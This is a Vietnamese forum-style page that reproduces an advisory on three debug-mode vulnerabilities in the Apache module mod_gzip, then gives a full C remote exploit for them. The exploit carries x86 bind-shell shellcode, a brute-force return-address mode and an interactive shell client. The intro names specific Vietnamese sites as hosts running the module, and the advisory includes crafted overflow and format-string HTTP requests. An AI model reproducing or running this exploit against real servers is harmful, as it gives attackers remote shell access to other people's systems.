Mod_gzip debug_mode exploit code

trang này đã được đọc lần

1. Sơ lược :
mod_gzip được bật rất nhiều tại các host như viethacker.tv , security.com.vn .v..v

Multiple Vulnerabilities in mod_gzip Debugging Routines

Summary
mod_gzip is "an Internet Content Acceleration module for the popular Apache Web Server. It compresses the contents delivered to the client. There is no need to install any additional software on the client". The mod_gzip_printf() procedure has three vulnerabilities that are exploitable only when the module is compiled in its debug mode.


Details
Vulnerable systems:
* mod_gzip version 1.3.26.1a

The vulnerabilities are listed in order of severity:
Stack overflow vulnerability
The log line is superfluously formatted into a 2048-byte buffer before being passed off to Apache and/or file. By requesting a long file name that the GZIP module handles, such as:

GET [overflow] HTTP/1.1
Host: www.apachesite.com
Accept-Encoding: gzip, deflate

The httpd child process handling your request segfaults. Consistent crashing can be seen with a buffer of about 2500 characters. If the saved return address is overwritten, code execution becomes trivial.

Format string vulnerability
Exploitable only when using the Apache log, this vulnerability allows remote users to submit a specially crafted HTTP request that causes the child to segfault:

GET /cgi-bin/printenv.pl?x=%25n%25n%25n%25n%25n HTTP/1.1
Host: www.apachesite.com
Accept-Encoding: gzip, deflate

Alternatively,

GET /cgi-bin/printenv.pl?x=%n%n%n%n%n HTTP/1.1
Host: www.apachesite.com
Accept-Encoding: gzip, deflate

Race condition (/tmp)
mod_gzip insecurely logs debugging information when the Apache log is not used. It generates a predictably named log file and fails to check it for unique naming. The log file naming is as follows:

t<PID>.log

An attacker who knew or guessed the PID of the httpd child servicing the request could overwrite arbitrary files as the superuser. At some instances during mod_gzip's initialization, it logs debug events as root. A well-placed series of symbolic links could cause arbitrary files to be overwritten. For example, linking /tmp/t760.log to /bin/ls would overwrite /bin/ls if mod_gzip logged an event from a process with ID 760.

A similar possibility exists on NTFS file systems on Win32 via NTFS hard links, but the default "Strengthen default permissions of internal system objects" policy prevents this.

Impact:
The impact of these issues on production sites should be minimal. Users running internet-accessible sites should immediately switch from the debug build to the release build of the module.

Vendor Response:
After communicating with Christian Kruse and Michael Schroepl, Matthew was told that the developers were not currently working on the project, and that the issues Matthew had raised would be addressed with the next version. As these issues have only a minor impact on most production sites, Matthew decided to release this advisory to inform those still running the debug build to make the change to release for the security and stability of their sites.



2. CODE khai thác :


CODE
/*
\ [exploit code] for mod_gzip (with debug_mode) <= 1.2.26.1a
/
\ Created by xCrZx crazy_einstein yahoo com /05.06.03/
/
\ Tested on RedHat 8.0 (Psyche) (here is target for it),
/ also tested on FreeBSD 4.7 (1.3.19.2a) (here is no target for it :)
/
\
*/

/*
\
/ Single mode:
\
/ [crz@blacksand crz]$ ./85mod_gzip -t 0 -h localhost
\
/ remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
\ by xCrZx [crazy_einstein@yahoo.com] /05.06.03/
/
\ Using: ret_err = 0x42127480, ret = 0xbfffd8f0
/
\ [!] Connecting to localhost:80
/ [+] Connected!
\ [*] Trying to connect to localhost:2003 port!!! Pray for success!
/ [*] Sleeping at 2 seconds...
\
/ [!] Shell is accessible!
\
/ uid=99(nobody) gid=99(nobody) groups=99(nobody)
\ Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
/
\ Brute mode:
/
\ [crz@blacksand crz]$ ./85mod_gzip -h localhost -b 0xbfffffff -s 1000
/
\ remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
/ by xCrZx [crazy_einstein@yahoo.com] /05.06.03/
\
/ Using: ret_err = 0x42127480, ret = 0xbfffffff ,step = 1000
\
/ [~] Brutemode activated!
\ .
/ [!] Shell is accessible!
\
/ uid=99(nobody) gid=99(nobody) groups=99(nobody)
\ Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
/
\
*/



#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>


#define STEP 1000

char fmt[] =

"POST /?%s HTTP/1.1\r\n"
"Content-Type: text/html\r\n"
"Host: %s\r\n"
"Content-Length: %d\r\n"
"Accept-Encoding: gzip, deflate\r\n\r\n"
"%s\r\n\r\n";


struct TARGETS {
char *distr;
long ret;
long std_err;
char *shellcode;
char *jmp;
} targets[] = {

/* you can add targets here */

{"RedHat 8.0 (Psyche)", // disributive info
0xbfffd8f0, // return address in stack
0x42127480, // address of stderr
//shellcode for Linux x86 -> bind shell on 2003 port//
"\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
"\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
"\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
"\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
"\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
"\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80",

/*

special jump instruction (to avoid bad characters in url):
(jump on our shellcode into heap)

movl $0xa1a51baa,%ebx
addl $0x66666666,%ebx
jmp *%ebx

*/

"\xbb\xaa\x1b\xa5\xa1\x81\xc3\x66\x66\x66\x66\xff\xe3"

} };


long getip(char *hostname) {
struct hostent *he;
long ipaddr;

if ((ipaddr = inet_addr(hostname)) < 0) {
if ((he = gethostbyname(hostname)) == NULL) {
perror("gethostbyname()");
exit(-1);
}
memcpy(&ipaddr, he->h_addr, he->h_length);
}
return ipaddr;
}

void usage(char *prog) {

int i=0;

printf("\nUsage: %s <-h www.victim.com> [-p port] [-t target] [-r manual_retaddr]
[-b addr] [-s step_num]\n\nTargets:\n",prog);
while(targets[i++].distr) printf("\t[%d] -> %s\n",i-1,targets[i-1].distr);
printf("\n");
exit(0);

}

int main(int argc, char **argv) {

int i=0;
struct sockaddr_in sockstruct;
struct hostent *HOST;
char tmp[20000];
char buf1[5000],buf2[10000];
int sock;
fd_set rset;
int port=80,shellport=2003;
int step=STEP;
char *victim=NULL;
long ret=0xbfffffff,ret_err;
int brutemode=0;
char *shellcode,*jmp;
int trg=0;

printf("\nremote exploit for mod_gzip (debug_mode) [Linux/*BSD]\n\t\t by xCrZx [crazy_einstein] /05.06.03/\n");

for(i=0;i<argc;i++) {
if(argv[i][1]=='h') victim=argv[i+1];
if(argv[i][1]=='p') port=atoi(argv[i+1]);
if(argv[i][1]=='t') {ret=targets[atoi(argv[i+1])].ret;trg=atoi(argv[i+1]);}
if(argv[i][1]=='r') sscanf(argv[i+1],"0x%x",&ret);
if(argv[i][1]=='b') { brutemode=1; ret=strtoul(argv[i+1],0,16);}
if(argv[i][1]=='s') { step=atoi(argv[i+1]);}
}

if(!victim || ret==0) usage(argv[0]);

ret_err=targets[trg].std_err;
shellcode=targets[trg].shellcode;
jmp=targets[trg].jmp;

printf("\nUsing: ret_err = 0x%x, ret = 0x%x",ret_err,ret);
if(brutemode) printf(" ,step = %d\n",step);

printf("\n");

if(brutemode)printf("[~] Brutemode activated!\n");

do {

sock=socket(PF_INET,SOCK_STREAM,0);
sockstruct.sin_family=PF_INET;
sockstruct.sin_addr.s_addr=getip(victim);
sockstruct.sin_port=htons(port);

if(!brutemode)printf("\n[!] Connecting to %s:%d\n",victim,port);

if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {

if(!brutemode)printf("[+] Connected!\n",i);

memset(tmp ,0x00,sizeof tmp );
memset(buf1,0x00,sizeof buf1);
memset(buf2,0x00,sizeof buf2);

memset(buf1,0x90,2016);
memcpy(buf1+strlen(buf1),jmp,strlen(jmp));
memset(buf1+strlen(buf1),0x90,2280);
*(long *)&buf1[strlen(buf1)]=ret_err;
for(i=0;i<100;i++) *(long *)&buf1[strlen(buf1)]=ret;

memset(buf2,0x90,1000);
memcpy(buf2+strlen(buf2),shellcode,strlen(shellcode));

sprintf(tmp,fmt,buf1,victim,strlen(buf2),buf2);
write(sock,tmp,strlen(tmp));

}else { printf("[x] Error: Could not connect to %s:%d!\n",victim,port);exit(0);}

close(sock);

ret-= step;

if(brutemode) {printf(".");fflush(stdout);}


if(!brutemode) {
printf("[*] Trying to connect to %s:%d port!!! Pray for success!\n",victim,shellport);
printf("[*] Sleeping at 2 seconds...\n");
}

sleep(2);

sock=socket(PF_INET,SOCK_STREAM,0);

bzero(sockstruct.sin_zero,sizeof(sockstruct.sin_zero));
sockstruct.sin_family=PF_INET;
sockstruct.sin_addr.s_addr=getip(victim);
sockstruct.sin_port=htons(shellport);

if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {
printf("\n[!] Shell is accessible!\n\n");
write(sock, "id;uname -a\n", 12);
while (1) {
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock + 1, &rset, NULL, NULL, NULL);

if (FD_ISSET(sock, &rset)) {
i = read(sock, tmp, sizeof(tmp) - 1);
if (i <= 0) {
printf("[!] Connection closed.\n");
close(sock);
exit(0);
}
tmp[i] = 0;
printf("%s", tmp);
}
if (FD_ISSET(STDIN_FILENO, &rset)) {
i = read(STDIN_FILENO, tmp, sizeof(tmp) - 1);
if (i > 0) {
tmp[i]=0;
write(sock, tmp, i);
}
}
}
} else if(!brutemode)printf("[x] Shell is inaccessible..\n\n");

close(sock);

} while ( brutemode );


return 0;
}